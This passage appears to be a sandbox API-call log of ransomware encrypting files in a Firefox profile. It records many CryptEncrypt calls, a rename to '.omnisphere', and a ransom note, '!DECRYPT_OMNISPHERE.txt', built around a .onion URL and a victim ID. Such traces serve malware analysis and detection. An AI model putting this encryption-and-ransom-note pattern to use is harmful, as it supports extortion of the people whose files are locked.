pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.494] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.495] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.496] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.497] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.497] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0161.497] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.497] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.497] GetProcessHeap () returned 0x1600000 [0161.497] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d8) returned 0x174a9d0 [0161.497] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key.omnisphere")) returned 1 [0161.498] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key.omnisphere.id" [0161.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.499] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.500] CloseHandle (hObject=0x388) returned 1 [0161.500] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.500] CloseHandle (hObject=0x3c0) returned 1 [0161.500] SetEndOfFile (hFile=0x288) returned 1 [0161.500] FlushFileBuffers (hFile=0x288) returned 1 [0161.503] CloseHandle (hObject=0x288) returned 1 [0161.503] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.504] GetProcessHeap () returned 0x1600000 [0161.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174acb0 [0161.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.504] GetProcessHeap () returned 0x1600000 [0161.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733ef0 [0161.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733ef0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.504] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.504] GetProcessHeap () returned 0x1600000 [0161.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726798 [0161.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726798, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.504] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.504] GetProcessHeap () returned 0x1600000 [0161.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172c548 [0161.504] PathCombineW (in: pszDest=0x172c548, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.504] GetProcessHeap () returned 0x1600000 [0161.504] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173a290 [0161.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.505] WriteFile (in: hFile=0x288, lpBuffer=0x173a290*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173a290*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.505] CloseHandle (hObject=0x288) returned 1 [0161.505] GetProcessHeap () returned 0x1600000 [0161.505] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174acb0 | out: hHeap=0x1600000) returned 1 [0161.505] GetProcessHeap () returned 0x1600000 [0161.505] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c2b8 [0161.505] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.505] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.506] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.507] CloseHandle (hObject=0x288) returned 1 [0161.507] GetProcessHeap () returned 0x1600000 [0161.507] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0161.507] GetProcessHeap () returned 0x1600000 [0161.507] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0161.507] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd1119, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2bd1119, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb8239875, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1 [0161.507] GetProcessHeap () returned 0x1600000 [0161.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625bd8 [0161.507] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="webappsstore.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite") 